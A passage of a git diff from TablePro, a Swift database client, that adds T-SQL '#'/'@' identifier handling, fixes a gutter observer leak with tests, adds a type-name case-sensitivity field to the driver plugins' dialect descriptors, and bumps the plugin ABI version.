 .claude/rules/plugin-system.md                |    4 +-
 apple/Configs/PluginKit.xcconfig              |    2 +-
 .../SQLLexicalGrammar.swift                   |    4 +
 .../SQLLexicalProfile.swift                   |    1 +
 .../SQLLexicalReadings.swift                  |    8 +-
 .../SQLLexicalReadingsTests.swift             |    8 +
 .../TableProEditorKit/Gutter/GutterView.swift |   11 +-
 .../GutterSelectionObserverTests.swift        |   61 +
 .../BigQueryDriverPlugin/BigQueryPlugin.swift |    5 +-
 .../CassandraPlugin.swift                     |    5 +-
 .../CloudflareD1Plugin.swift                  |    5 +-
 .../DamengDriverPlugin/DamengPlugin.swift     |    5 +-
 .../DuckDBDriverPlugin/DuckDBPlugin.swift     |    3 +-
 .../HanaDriverPlugin/HanaMetadata.swift       |    3 +-
 .../LibSQLDriverPlugin/LibSQLPlugin.swift     |    5 +-
 .../MSSQLDriverPlugin/MSSQLPlugin.swift       |    3 +-
 .../MySQLDriverPlugin/MySQLPlugin.swift       |    3 +-
 .../OracleDriverPlugin/OraclePlugin.swift     |    3 +-
 .../PostgreSQLDialect.swift                   |    3 +-
 .../SQLiteDriverPlugin/SQLitePlugin.swift     |    3 +-
 .../SnowflakePlugin.swift                     |    5 +-
 .../SpannerDriverPlugin/SpannerPlugin.swift   |    5 +-
 .../SQLDialectDescriptor.swift                |   53 +-
 .../TeradataDriverPlugin/TeradataPlugin.swift |    5 +-
 .../TrinoDriverPlugin/TrinoPlugin.swift       |    5 +-
 ...PluginMetadataRegistry+CloudDefaults.swift |   15 +-
 ...uginMetadataRegistry+CuratedDefaults.swift |   12 +-
 .../PluginMetadataRegistry+HanaDefaults.swift |    3 +-
 ...ginMetadataRegistry+RegistryDefaults.swift |    5 +-
 ...MetadataRegistry+RegistryIngredients.swift |   24 +-
 ...ginMetadataRegistry+SnapshotAdoption.swift |    3 +-
 ...PluginMetadataRegistry+TrinoDefaults.swift |    5 +-
 .../Services/Formatting/QueryFormatter.swift  |   27 +-
 .../Formatting/SQLFormatterRulesFile.swift    |  121 +-
 .../Formatting/SQLFormatterService.swift      |  874 +++++++++---
 .../Formatting/SQLFormatterTypes.swift        |   97 +-
 .../Services/Formatting/SQLTokenizer.swift    |  479 ++++++-
 .../Services/Query/SQLDialectProvider.swift   |    6 +
 .../Utilities/SQL/SQLQueryFingerprint.swift   |    4 +-
 .../Core/Vim/VimCommandLineHandler.swift      |   89 +-
 .../Core/Vim/VimEngine+NormalMode.swift       |   14 +
 .../Core/Vim/VimEngine+Operators.swift        |    8 +-
 .../Core/Vim/VimEngine+RegistersMarks.swift   |    6 +-
 .../Core/Vim/VimEngine+VisualMode.swift       |    4 +-
 apple/TablePro/Core/Vim/VimRegister.swift     |   13 +-
 .../Models/Query/QueryTabManager.swift        |    4 +-
 .../Settings/SQLFormatterSettings.swift       |   36 +-
 .../TablePro/Resources/Localizable.xcstrings  |   30 +
 .../Views/Editor/SQLEditorController.swift    |    6 +
 .../Views/Editor/SQLEditorCoordinator.swift   |   42 +-
 .../Main/Child/MainEditorContentView.swift    |    3 +
 .../Settings/Sections/FormatterSection.swift  |   48 +-
 .../Formatting/SQLFormatterRulesTests.swift   |  134 +-
 .../Services/SQLFormatterServiceTests.swift   | 1243 ++++++++++++++++-
 .../Core/Services/SQLTokenizerTests.swift     |  227 ++-
 .../Vim/VimEngineBlackHoleRegisterTests.swift |   52 +
 .../Core/Vim/VimEngineTabCommandsTests.swift  |  209 +++
 .../SQLLexicalFeatureMappingTests.swift       |   12 +-
 apple/changelog.d/3854.added.1.md             |    1 +
 apple/changelog.d/3854.added.2.md             |    1 +
 apple/changelog.d/3854.changed.md             |    1 +
 apple/changelog.d/3854.fixed.1.md             |    1 +
 apple/changelog.d/3854.fixed.2.md             |    1 +
 apple/changelog.d/3854.fixed.md               |    1 +
 apple/scripts/check-pluginkit-abi.sh          |   52 +-
 apple/scripts/ci/test_check_pluginkit_abi.py  |   17 +
 66 files changed, 3758 insertions(+), 390 deletions(-)
 create mode 100644 apple/Packages/TableProEditor/Tests/TableProEditorKitTests/GutterSelectionObserverTests.swift
 create mode 100644 apple/TableProTests/Core/Vim/VimEngineBlackHoleRegisterTests.swift
 create mode 100644 apple/TableProTests/Core/Vim/VimEngineTabCommandsTests.swift
 create mode 100644 apple/changelog.d/3854.added.1.md
 create mode 100644 apple/changelog.d/3854.added.2.md
 create mode 100644 apple/changelog.d/3854.changed.md
 create mode 100644 apple/changelog.d/3854.fixed.1.md
 create mode 100644 apple/changelog.d/3854.fixed.2.md
 create mode 100644 apple/changelog.d/3854.fixed.md

diff --git a/.claude/rules/plugin-system.md b/.claude/rules/plugin-system.md
index 1c254d78b3..3fe45cefce 100644
--- a/.claude/rules/plugin-system.md
+++ b/.claude/rules/plugin-system.md
@@ -24,11 +24,11 @@ TableProPluginKit is built with Library Evolution, so an already-built plugin ke
 - Add a requirement only with a default implementation, then bridge it in `PluginDriverAdapter`.
 - Additive: a new requirement with a default, a new field on a non-`@frozen` struct, a new case on a non-`@frozen` enum, a reordering.
 - Breaking: a changed, removed or renamed requirement or signature, a requirement without a default, a new case on a `@frozen` enum, a change to a frozen type's layout.
-- Every ABI change sets `TABLEPRO_PLUGINKIT_VERSION` in `apple/Configs/PluginKit.xcconfig` to one past the kit of the newest `v*` tag reachable from HEAD; later changes before the next tag reuse it. A `release/*` line never bumps it.
+- Every ABI change sets `TABLEPRO_PLUGINKIT_VERSION` in `apple/Configs/PluginKit.xcconfig` to one past the highest kit a `v*` tag shipped, including a tag on a `release/*` branch HEAD cannot reach; later changes before the next tag reuse it. A `release/*` line never bumps it.
 - The build stamps that value into `TableProPluginKitVersion` of the app and of every plugin. A plugin's `Info.plist` holds `<integer>TABLEPRO_PLUGINKIT_VERSION</integer>` and is preprocessed, because every shipped app reads the key with `as? Int`; the source file therefore fails `plutil -lint`.
 - After an additive change, built plugins keep loading, and the bump makes an older app refuse a plugin rebuilt against the new API instead of failing its load.
 - A breaking change also raises `TABLEPRO_PLUGINKIT_MINIMUM_VERSION`. Every tag ships every registry plugin built against its own kit, so the release that carries the change carries plugins in its range.
-- `apple/scripts/check-pluginkit-abi.sh [--frozen] [base]` (`verify.sh abi [base]`) builds PluginKit at the base, by default the newest `v*` tag reachable from HEAD, and at HEAD with Xcode's ABI checker (`RUN_SWIFT_ABI_CHECKER_TOOL`). CI runs it in `.github/workflows/macos-tests.yml` when the `plugins` suite is true, `--frozen` on a PR into `release/*`.
+- `apple/scripts/check-pluginkit-abi.sh [--frozen] [base]` (`verify.sh abi [base]`) builds PluginKit at the base, by default the `v*` tag that shipped the highest kit (with `--frozen`, the newest one reachable from HEAD), and at HEAD with Xcode's ABI checker (`RUN_SWIFT_ABI_CHECKER_TOOL`). CI runs it in `.github/workflows/macos-tests.yml` when the `plugins` suite is true, `--frozen` on a PR into `release/*`.
 - A checker error is a breaking change: the kit and the minimum must both be one past the base's kit, so the host refuses every plugin built before it. A baseline that changed with no error needs the kit one past the base's and the base's minimum; an identical one needs the base's kit and minimum. `--frozen` fails on any ABI change.
 - The checker reports breakage only; an additive change shows as a changed baseline. Its errors are in the log `verify.sh abi` prints.
 - Mark a public enum `@frozen` only when its case set is closed. `PluginCapability` and the transfer structs stay non-frozen so they can grow.
diff --git a/apple/Configs/PluginKit.xcconfig b/apple/Configs/PluginKit.xcconfig
index 8ed03963ae..4e2f48a60f 100644
--- a/apple/Configs/PluginKit.xcconfig
+++ b/apple/Configs/PluginKit.xcconfig
@@ -1,3 +1,3 @@
 // When to raise each, and how the build stamps them: .claude/rules/plugin-system.md, ABI.
-TABLEPRO_PLUGINKIT_VERSION = 40
+TABLEPRO_PLUGINKIT_VERSION = 41
 TABLEPRO_PLUGINKIT_MINIMUM_VERSION = 19
diff --git a/apple/Packages/TableProCore/Sources/TableProSQLGrammar/SQLLexicalGrammar.swift b/apple/Packages/TableProCore/Sources/TableProSQLGrammar/SQLLexicalGrammar.swift
index 83977932c7..b1d7a9ee5e 100644
--- a/apple/Packages/TableProCore/Sources/TableProSQLGrammar/SQLLexicalGrammar.swift
+++ b/apple/Packages/TableProCore/Sources/TableProSQLGrammar/SQLLexicalGrammar.swift
@@ -99,6 +99,10 @@ public struct SQLLexicalGrammar: OptionSet, Hashable, Sendable {
     /// ``CQLBatchTracker``. Only the curated CQL grammar carries it, so the kit has no feature for it.
     public static let cqlBatches = SQLLexicalGrammar(rawValue: 1 << 26)
 
+    /// `#` and `@` continue a name after its first character, so T-SQL's `Part#` and `c@d` are one name each. Only the
+    /// curated T-SQL grammar carries it, so the kit has no feature for it.
+    public static let hashAndAtInIdentifiers = SQLLexicalGrammar(rawValue: 1 << 27)
+
     /// Standard SQL: quotes close only on a doubled quote, `--` and flat `/* */` are the only comments.
     public static let ansi: SQLLexicalGrammar = []
 
diff --git a/apple/Packages/TableProCore/Sources/TableProSQLGrammar/SQLLexicalProfile.swift b/apple/Packages/TableProCore/Sources/TableProSQLGrammar/SQLLexicalProfile.swift
index 49f7582a25..455d502584 100644
--- a/apple/Packages/TableProCore/Sources/TableProSQLGrammar/SQLLexicalProfile.swift
+++ b/apple/Packages/TableProCore/Sources/TableProSQLGrammar/SQLLexicalProfile.swift
@@ -136,6 +136,7 @@ public struct SQLLexicalProfile: Sendable, Hashable {
     public static let sqlServer: SQLLexicalGrammar = [
         .bracketQuotedIdentifiers, .doubledClosingBracketEscapes, .nestedBlockComments,
         .carriageReturnEndsLineComments, .batchSeparatorLines, .unterminatedStatements, .terminatedMergeStatements,
+        .hashAndAtInIdentifiers,
     ]
 
     /// Spanner's GoogleSQL dialect on the emulator, measured, and BigQuery by the ZetaSQL grammar the two share: a
diff --git a/apple/Packages/TableProCore/Sources/TableProSQLGrammar/SQLLexicalReadings.swift b/apple/Packages/TableProCore/Sources/TableProSQLGrammar/SQLLexicalReadings.swift
index 42ba5aff14..c839318837 100644
--- a/apple/Packages/TableProCore/Sources/TableProSQLGrammar/SQLLexicalReadings.swift
+++ b/apple/Packages/TableProCore/Sources/TableProSQLGrammar/SQLLexicalReadings.swift
@@ -153,8 +153,12 @@ enum SQLLexicalRelevance {
                     .parenthesizedParameterNames,
                 ])
             case SqlLexer.hash:
-                facts.formUnion([.hashLineComments, .dollarAndHashInIdentifiers, .parenthesizedParameterNames])
-            case at, colon:
+                facts.formUnion([
+                    .hashLineComments, .dollarAndHashInIdentifiers, .parenthesizedParameterNames, .hashAndAtInIdentifiers,
+                ])
+            case at:
+                facts.formUnion([.parenthesizedParameterNames, .hashAndAtInIdentifiers])
+            case colon:
                 facts.insert(.parenthesizedParameterNames)
             case SqlLexer.slash:
                 facts.insert(.slashLineTerminators)
diff --git a/apple/Packages/TableProCore/Tests/TableProSQLGrammarTests/SQLLexicalReadingsTests.swift b/apple/Packages/TableProCore/Tests/TableProSQLGrammarTests/SQLLexicalReadingsTests.swift
index 59794c57ca..87fbf18b84 100644
--- a/apple/Packages/TableProCore/Tests/TableProSQLGrammarTests/SQLLexicalReadingsTests.swift
+++ b/apple/Packages/TableProCore/Tests/TableProSQLGrammarTests/SQLLexicalReadingsTests.swift
@@ -17,6 +17,14 @@ struct SQLLexicalReadingsTests {
         #expect(missing.isEmpty)
     }
 
+    @Test("Only T-SQL names continue with # and @")
+    func hashAndAtContinueOnlyTSQLNames() {
+        #expect(SQLLexicalProfile.curated(forDatabaseTypeId: "SQL Server")?.grammar.contains(.hashAndAtInIdentifiers) == true)
+        for typeId in ["MySQL", "PostgreSQL", "SQLite", "Oracle", "ClickHouse", "DuckDB"] {
+            #expect(SQLLexicalProfile.curated(forDatabaseTypeId: typeId)?.grammar.contains(.hashAndAtInIdentifiers) == false)
+        }
+    }
+
     @Test("A curated engine ignores what a plugin declares, because a registry plugin may be older than the app")
     func curatedGrammarWinsOverDeclaration() {
         let readings = SQLLexicalReadings.resolve(
diff --git a/apple/Packages/TableProEditor/Sources/TableProEditorKit/Gutter/GutterView.swift b/apple/Packages/TableProEditor/Sources/TableProEditorKit/Gutter/GutterView.swift
index 2a3e087f1f..d32d6a20bb 100644
--- a/apple/Packages/TableProEditor/Sources/TableProEditorKit/Gutter/GutterView.swift
+++ b/apple/Packages/TableProEditor/Sources/TableProEditorKit/Gutter/GutterView.swift
@@ -142,6 +142,8 @@ public class GutterView: NSView {
 
     private var fontLineHeight = 1.0
 
+    private(set) var selectionObserver: NSObjectProtocol?
+
     private func updateFontLineHeight() {
         let string = NSAttributedString(string: "0", attributes: [.font: font])
         let typesetter = CTTypesetterCreateWithAttributedString(string)
@@ -265,9 +267,10 @@ public class GutterView: NSView {
         addSubview(foldingRibbon)
         addSubview(statementRunRibbon)
 
-        NotificationCenter.default.addObserver(
+        // A block observer is only removed through its token, and only this editor's selection moves its line band.
+        selectionObserver = NotificationCenter.default.addObserver(
             forName: TextSelectionManager.selectionChangedNotification,
-            object: nil,
+            object: controller.textView.selectionManager,
             queue: .main
         ) { [weak self] _ in
             self?.needsDisplay = true
@@ -504,7 +507,9 @@ public class GutterView: NSView {
     }
 
     deinit {
-        NotificationCenter.default.removeObserver(self)
+        if let selectionObserver {
+            NotificationCenter.default.removeObserver(selectionObserver)
+        }
         delegate = nil
         textView = nil
     }
diff --git a/apple/Packages/TableProEditor/Tests/TableProEditorKitTests/GutterSelectionObserverTests.swift b/apple/Packages/TableProEditor/Tests/TableProEditorKitTests/GutterSelectionObserverTests.swift
new file mode 100644
index 0000000000..935a9503bc
--- /dev/null
+++ b/apple/Packages/TableProEditor/Tests/TableProEditorKitTests/GutterSelectionObserverTests.swift
@@ -0,0 +1,61 @@
+//
+//  GutterSelectionObserverTests.swift
+//  TableProEditorKitTests
+//
+
+import AppKit
+@testable import TableProEditorKit
+import TableProTextEngine
+import Testing
+
+@MainActor
+struct GutterSelectionObserverTests {
+    // NotificationCenter holds a block observer's token until it is removed, so a surviving token is a leaked block.
+    @Test("A closed gutter's selection observer is removed")
+    func observerIsRemovedWithTheGutter() {
+        let controller = Mock.textViewController(theme: Mock.theme())
+        weak var token: AnyObject?
+
+        autoreleasepool {
+            let gutter = GutterView(
+                font: .monospacedSystemFont(ofSize: 12, weight: .regular),
+                textColor: .labelColor,
+                selectedTextColor: nil,
+                controller: controller
+            )
+            token = gutter.selectionObserver as AnyObject?
+            #expect(token != nil)
+        }
+
+        #expect(token == nil)
+    }
+
+    @Test("A selection change in another editor does not redraw this gutter")
+    func otherEditorsSelectionLeavesGutterAlone() {
+        let first = Mock.loadedTextViewController(string: "a\nb\nc")
+        let second = Mock.loadedTextViewController(string: "x\ny\nz")
+        let gutter = CountingGutter(
+            font: .monospacedSystemFont(ofSize: 12, weight: .regular),
+            textColor: .labelColor,
+            selectedTextColor: nil,
+            controller: first
+        )
+        let before = gutter.redraws
+
+        second.textView.selectionManager.setSelectedRange(NSRange(location: 2, length: 0))
+        #expect(gutter.redraws == before)
+
+        first.textView.selectionManager.setSelectedRange(NSRange(location: 2, length: 0))
+        #expect(gutter.redraws > before)
+    }
+}
+
+// `needsDisplay` does not read back on a layer-backed view outside a window, but setting it goes through this.
+private final class CountingGutter: GutterView {
+    private(set) var redraws = 0
+
+    override func setNeedsDisplay(_ invalidRect: NSRect) {
+        redraws += 1
+        super.setNeedsDisplay(invalidRect)
+    }
+}
diff --git a/apple/Plugins/BigQueryDriverPlugin/BigQueryPlugin.swift b/apple/Plugins/BigQueryDriverPlugin/BigQueryPlugin.swift
index 574236ec49..76cc8b6d8f 100644
--- a/apple/Plugins/BigQueryDriverPlugin/BigQueryPlugin.swift
+++ b/apple/Plugins/BigQueryDriverPlugin/BigQueryPlugin.swift
@@ -165,7 +165,10 @@ final class BigQueryPlugin: NSObject, TableProPlugin, DriverPlugin {
         booleanLiteralStyle: .truefalse,
         likeEscapeStyle: .implicit,
         paginationStyle: .limit,
-        caseSensitivityStyle: .caseFoldFunction
+        caseSensitivityStyle: .caseFoldFunction,
+        textCastTypeName: nil,
+        functionNamesAreCaseInsensitive: true,
+        typeNamesAreCaseInsensitive: true
     )
 
     static let explainVariants: [ExplainVariant] = [
diff --git a/apple/Plugins/CassandraDriverPlugin/CassandraPlugin.swift b/apple/Plugins/CassandraDriverPlugin/CassandraPlugin.swift
index 52750936e2..0be08c02fb 100644
--- a/apple/Plugins/CassandraDriverPlugin/CassandraPlugin.swift
+++ b/apple/Plugins/CassandraDriverPlugin/CassandraPlugin.swift
@@ -106,7 +106,10 @@ internal final class CassandraPlugin: NSObject, TableProPlugin, DriverPlugin, Pl
             likeEscapeStyle: .explicit,
             paginationStyle: .limit,
             autoLimitStyle: .limit,
-            caseSensitivityStyle: .unsupported
+            caseSensitivityStyle: .unsupported,
+            textCastTypeName: nil,
+            functionNamesAreCaseInsensitive: true,
+            typeNamesAreCaseInsensitive: true
         )
     }
 
diff --git a/apple/Plugins/CloudflareD1DriverPlugin/CloudflareD1Plugin.swift b/apple/Plugins/CloudflareD1DriverPlugin/CloudflareD1Plugin.swift
index 231d727576..215ac5cb6e 100644
--- a/apple/Plugins/CloudflareD1DriverPlugin/CloudflareD1Plugin.swift
+++ b/apple/Plugins/CloudflareD1DriverPlugin/CloudflareD1Plugin.swift
@@ -95,7 +95,10 @@ final class CloudflareD1Plugin: NSObject, TableProPlugin, DriverPlugin {
         booleanLiteralStyle: .numeric,
         likeEscapeStyle: .explicit,
         paginationStyle: .limit,
-        caseSensitivityStyle: .collationDefined
+        caseSensitivityStyle: .collationDefined,
+        textCastTypeName: nil,
+        functionNamesAreCaseInsensitive: true,
+        typeNamesAreCaseInsensitive: true
     )
 
     static let additionalConnectionFields: [ConnectionField] = [
diff --git a/apple/Plugins/DamengDriverPlugin/DamengPlugin.swift b/apple/Plugins/DamengDriverPlugin/DamengPlugin.swift
index 20b67e055f..f4a18bb052 100644
--- a/apple/Plugins/DamengDriverPlugin/DamengPlugin.swift
+++ b/apple/Plugins/DamengDriverPlugin/DamengPlugin.swift
@@ -99,7 +99,10 @@ final class DamengPlugin: NSObject, TableProPlugin, DriverPlugin {
         paginationStyle: .offsetFetch,
         offsetFetchOrderBy: "ORDER BY 1",
         autoLimitStyle: .fetchFirst,
-        caseSensitivityStyle: .caseFoldFunction
+        caseSensitivityStyle: .caseFoldFunction,
+        textCastTypeName: nil,
+        functionNamesAreCaseInsensitive: true,
+        typeNamesAreCaseInsensitive: true
     )
 
     func createDriver(config: DriverConnectionConfig) -> any PluginDatabaseDriver {
diff --git a/apple/Plugins/DuckDBDriverPlugin/DuckDBPlugin.swift b/apple/Plugins/DuckDBDriverPlugin/DuckDBPlugin.swift
index 8067b85e00..ce3cd3ebc4 100644
--- a/apple/Plugins/DuckDBDriverPlugin/DuckDBPlugin.swift
+++ b/apple/Plugins/DuckDBDriverPlugin/DuckDBPlugin.swift
@@ -165,7 +165,8 @@ final class DuckDBPlugin: NSObject, TableProPlugin, DriverPlugin {
         operators: SQLEngineVocabulary.duckDB.operators.compactMap(SQLOperatorDescriptor.init(vocabulary:)),
         // DuckDB has no LIKE or lower() for INTEGER, UUID or DATE: `~~(INTEGER, STRING_LITERAL)` is a binder error.
         textCastTypeName: "VARCHAR",
-        functionNamesAreCaseInsensitive: SQLEngineVocabulary.duckDB.functionNamesAreCaseInsensitive
+        functionNamesAreCaseInsensitive: SQLEngineVocabulary.duckDB.functionNamesAreCaseInsensitive,
+        typeNamesAreCaseInsensitive: true
     )
 
     func createDriver(config: DriverConnectionConfig) -> any PluginDatabaseDriver {
diff --git a/apple/Plugins/HanaDriverPlugin/HanaMetadata.swift b/apple/Plugins/HanaDriverPlugin/HanaMetadata.swift
index 78143c4846..02d9ac6faf 100644
--- a/apple/Plugins/HanaDriverPlugin/HanaMetadata.swift
+++ b/apple/Plugins/HanaDriverPlugin/HanaMetadata.swift
@@ -70,6 +70,7 @@ enum HanaMetadata {
         caseSensitivityStyle: .caseFoldFunction,
         textCastTypeName: nil,
         functionNamesAreCaseInsensitive: true,
-        lexicalFeatures: [.dollarAndHashInIdentifiers]
+        lexicalFeatures: [.dollarAndHashInIdentifiers],
+        typeNamesAreCaseInsensitive: true
     )
 }
diff --git a/apple/Plugins/LibSQLDriverPlugin/LibSQLPlugin.swift b/apple/Plugins/LibSQLDriverPlugin/LibSQLPlugin.swift
index 0fdb76f803..84c62073bc 100644
--- a/apple/Plugins/LibSQLDriverPlugin/LibSQLPlugin.swift
+++ b/apple/Plugins/LibSQLDriverPlugin/LibSQLPlugin.swift
@@ -99,7 +99,10 @@ final class LibSQLPlugin: NSObject, TableProPlugin, DriverPlugin {
         booleanLiteralStyle: .numeric,
         likeEscapeStyle: .explicit,
         paginationStyle: .limit,
-        caseSensitivityStyle: .collationDefined
+        caseSensitivityStyle: .collationDefined,
+        textCastTypeName: nil,
+        functionNamesAreCaseInsensitive: true,
+        typeNamesAreCaseInsensitive: true
     )
 
     static let additionalConnectionFields: [ConnectionField] = [
diff --git a/apple/Plugins/MSSQLDriverPlugin/MSSQLPlugin.swift b/apple/Plugins/MSSQLDriverPlugin/MSSQLPlugin.swift
index 0eb1e86733..759a8528aa 100644
--- a/apple/Plugins/MSSQLDriverPlugin/MSSQLPlugin.swift
+++ b/apple/Plugins/MSSQLDriverPlugin/MSSQLPlugin.swift
@@ -232,7 +232,8 @@ final class MSSQLPlugin: NSObject, TableProPlugin, DriverPlugin {
         caseSensitivityStyle: .collationDefined,
         operators: SQLEngineVocabulary.sqlServer.operators.compactMap(SQLOperatorDescriptor.init(vocabulary:)),
         textCastTypeName: nil,
-        functionNamesAreCaseInsensitive: SQLEngineVocabulary.sqlServer.functionNamesAreCaseInsensitive
+        functionNamesAreCaseInsensitive: SQLEngineVocabulary.sqlServer.functionNamesAreCaseInsensitive,
+        typeNamesAreCaseInsensitive: true
     )
 
     static let supportsDropDatabase = true
diff --git a/apple/Plugins/MySQLDriverPlugin/MySQLPlugin.swift b/apple/Plugins/MySQLDriverPlugin/MySQLPlugin.swift
index 19c02e1fec..e38685d0d2 100644
--- a/apple/Plugins/MySQLDriverPlugin/MySQLPlugin.swift
+++ b/apple/Plugins/MySQLDriverPlugin/MySQLPlugin.swift
@@ -94,7 +94,8 @@ final class MySQLPlugin: NSObject, TableProPlugin, DriverPlugin {
         caseSensitivityStyle: .collationDefined,
         operators: SQLEngineVocabulary.mySQL.operators.compactMap(SQLOperatorDescriptor.init(vocabulary:)),
         textCastTypeName: nil,
-        functionNamesAreCaseInsensitive: SQLEngineVocabulary.mySQL.functionNamesAreCaseInsensitive
+        functionNamesAreCaseInsensitive: SQLEngineVocabulary.mySQL.functionNamesAreCaseInsensitive,
+        typeNamesAreCaseInsensitive: true
     )
 
     static let supportsDropDatabase = true
diff --git a/apple/Plugins/OracleDriverPlugin/OraclePlugin.swift b/apple/Plugins/OracleDriverPlugin/OraclePlugin.swift
index 38057bb611..07d7a583c3 100644
--- a/apple/Plugins/OracleDriverPlugin/OraclePlugin.swift
+++ b/apple/Plugins/OracleDriverPlugin/OraclePlugin.swift
@@ -165,7 +165,8 @@ final class OraclePlugin: NSObject, TableProPlugin, DriverPlugin, PluginDiagnost
         caseSensitivityStyle: .caseFoldFunction,
         operators: SQLEngineVocabulary.oracle.operators.compactMap(SQLOperatorDescriptor.init(vocabulary:)),
         textCastTypeName: nil,
-        functionNamesAreCaseInsensitive: SQLEngineVocabulary.oracle.functionNamesAreCaseInsensitive
+        functionNamesAreCaseInsensitive: SQLEngineVocabulary.oracle.functionNamesAreCaseInsensitive,
+        typeNamesAreCaseInsensitive: true
     )
 
     func createDriver(config: DriverConnectionConfig) -> any PluginDatabaseDriver {
diff --git a/apple/Plugins/PostgreSQLDriverPlugin/PostgreSQLDialect.swift b/apple/Plugins/PostgreSQLDriverPlugin/PostgreSQLDialect.swift
index b4b950c780..510f7ce268 100644
--- a/apple/Plugins/PostgreSQLDriverPlugin/PostgreSQLDialect.swift
+++ b/apple/Plugins/PostgreSQLDriverPlugin/PostgreSQLDialect.swift
@@ -16,7 +16,8 @@ enum PostgreSQLDialect {
         caseSensitivityStyle: .ilikeOperator,
         operators: SQLEngineVocabulary.postgreSQL.operators.compactMap(SQLOperatorDescriptor.init(vocabulary:)),
         textCastTypeName: "TEXT",
-        functionNamesAreCaseInsensitive: SQLEngineVocabulary.postgreSQL.functionNamesAreCaseInsensitive
+        functionNamesAreCaseInsensitive: SQLEngineVocabulary.postgreSQL.functionNamesAreCaseInsensitive,
+        typeNamesAreCaseInsensitive: true
     )
 
     static let keywords: Set<String> = reservedKeywords
diff --git a/apple/Plugins/SQLiteDriverPlugin/SQLitePlugin.swift b/apple/Plugins/SQLiteDriverPlugin/SQLitePlugin.swift
index 3fb5146cd4..bd2222677e 100644
--- a/apple/Plugins/SQLiteDriverPlugin/SQLitePlugin.swift
+++ b/apple/Plugins/SQLiteDriverPlugin/SQLitePlugin.swift
@@ -94,7 +94,8 @@ final class SQLitePlugin: NSObject, TableProPlugin, DriverPlugin {
         caseSensitivityStyle: .collationDefined,
         operators: SQLEngineVocabulary.sqlite.operators.compactMap(SQLOperatorDescriptor.init(vocabulary:)),
         textCastTypeName: nil,
-        functionNamesAreCaseInsensitive: SQLEngineVocabulary.sqlite.functionNamesAreCaseInsensitive
+        functionNamesAreCaseInsensitive: SQLEngineVocabulary.sqlite.functionNamesAreCaseInsensitive,
+        typeNamesAreCaseInsensitive: true
     )
 
     func createDriver(config: DriverConnectionConfig) -> any PluginDatabaseDriver {
diff --git a/apple/Plugins/SnowflakeDriverPlugin/SnowflakePlugin.swift b/apple/Plugins/SnowflakeDriverPlugin/SnowflakePlugin.swift
index 9dfee3f480..95a9c631ce 100644
--- a/apple/Plugins/SnowflakeDriverPlugin/SnowflakePlugin.swift
+++ b/apple/Plugins/SnowflakeDriverPlugin/SnowflakePlugin.swift
@@ -266,7 +266,10 @@ final class SnowflakePlugin: NSObject, TableProPlugin, DriverPlugin {
         likeEscapeStyle: .explicit,
         paginationStyle: .limit,
         requiresBackslashEscaping: true,
-        caseSensitivityStyle: .ilikeOperator
+        caseSensitivityStyle: .ilikeOperator,
+        textCastTypeName: nil,
+        functionNamesAreCaseInsensitive: true,
+        typeNamesAreCaseInsensitive: true
     )
 
     static let explainVariants: [ExplainVariant] = [
diff --git a/apple/Plugins/SpannerDriverPlugin/SpannerPlugin.swift b/apple/Plugins/SpannerDriverPlugin/SpannerPlugin.swift
index 78f2c2dfd2..51a6bbcd6d 100644
--- a/apple/Plugins/SpannerDriverPlugin/SpannerPlugin.swift
+++ b/apple/Plugins/SpannerDriverPlugin/SpannerPlugin.swift
@@ -201,6 +201,9 @@ internal enum SpannerSQLDialect {
         booleanLiteralStyle: .truefalse,
         likeEscapeStyle: .implicit,
         paginationStyle: .limit,
-        caseSensitivityStyle: .caseFoldFunction
+        caseSensitivityStyle: .caseFoldFunction,
+        textCastTypeName: nil,
+        functionNamesAreCaseInsensitive: true,
+        typeNamesAreCaseInsensitive: true
     )
 }
diff --git a/apple/Plugins/TableProPluginKit/SQLDialectDescriptor.swift b/apple/Plugins/TableProPluginKit/SQLDialectDescriptor.swift
index 97f6dec73c..46e48f7dc5 100644
--- a/apple/Plugins/TableProPluginKit/SQLDialectDescriptor.swift
+++ b/apple/Plugins/TableProPluginKit/SQLDialectDescriptor.swift
@@ -107,6 +107,10 @@ public struct SQLDialectDescriptor: Sendable {
     /// gates then read every grammar TablePro knows. Ignored for an engine the app curates itself.
     public let lexicalFeatures: SQLLexicalFeatures?
 
+    // Whether the engine reads a built-in type name in any case, so the formatter may re-case it. False when the
+    // plugin does not say: ClickHouse's `String` and `UInt8` are matched by exact case.
+    public let typeNamesAreCaseInsensitive: Bool
+
     public enum CaseSensitivityStyle: String, Sendable {
         case ilikeOperator    // PostgreSQL, CockroachDB, PGlite, DuckDB, Snowflake
         case caseFoldFunction // Oracle, BigQuery, ClickHouse, Redshift
@@ -331,6 +335,7 @@ public struct SQLDialectDescriptor: Sendable {
         )
     }
 
+    @_disfavoredOverload
     public init(
         identifierQuote: String,
         keywords: Set<String>,
@@ -350,8 +355,53 @@ public struct SQLDialectDescriptor: Sendable {
         textCastTypeName: String?,
         functionNamesAreCaseInsensitive: Bool,
         lexicalFeatures: SQLLexicalFeatures? = nil
+    ) {
+        self.init(
+            identifierQuote: identifierQuote,
+            keywords: keywords,
+            functions: functions,
+            dataTypes: dataTypes,
+            tableOptions: tableOptions,
+            regexSyntax: regexSyntax,
+            booleanLiteralStyle: booleanLiteralStyle,
+            likeEscapeStyle: likeEscapeStyle,
+            paginationStyle: paginationStyle,
+            offsetFetchOrderBy: offsetFetchOrderBy,
+            requiresBackslashEscaping: requiresBackslashEscaping,
+            autoLimitStyle: autoLimitStyle,
+            caseSensitivityStyle: caseSensitivityStyle,
+            caseFoldFunction: caseFoldFunction,
+            operators: operators,
+            textCastTypeName: textCastTypeName,
+            functionNamesAreCaseInsensitive: functionNamesAreCaseInsensitive,
+            lexicalFeatures: lexicalFeatures,
+            typeNamesAreCaseInsensitive: false
+        )
+    }
+
+    public init(
+        identifierQuote: String,
+        keywords: Set<String>,
+        functions: Set<String>,
+        dataTypes: Set<String>,
+        tableOptions: [String] = [],
+        regexSyntax: RegexSyntax = .unsupported,
+        booleanLiteralStyle: BooleanLiteralStyle = .numeric,
+        likeEscapeStyle: LikeEscapeStyle = .explicit,
+        paginationStyle: PaginationStyle = .limit,
+        offsetFetchOrderBy: String = "ORDER BY (SELECT NULL)",
+        requiresBackslashEscaping: Bool = false,
+        autoLimitStyle: AutoLimitStyle = .limit,
+        caseSensitivityStyle: CaseSensitivityStyle = .unsupported,
+        caseFoldFunction: String = SQLDialectDescriptor.defaultCaseFoldFunction,
+        operators: [SQLOperatorDescriptor] = [],
+        textCastTypeName: String?,
+        functionNamesAreCaseInsensitive: Bool,
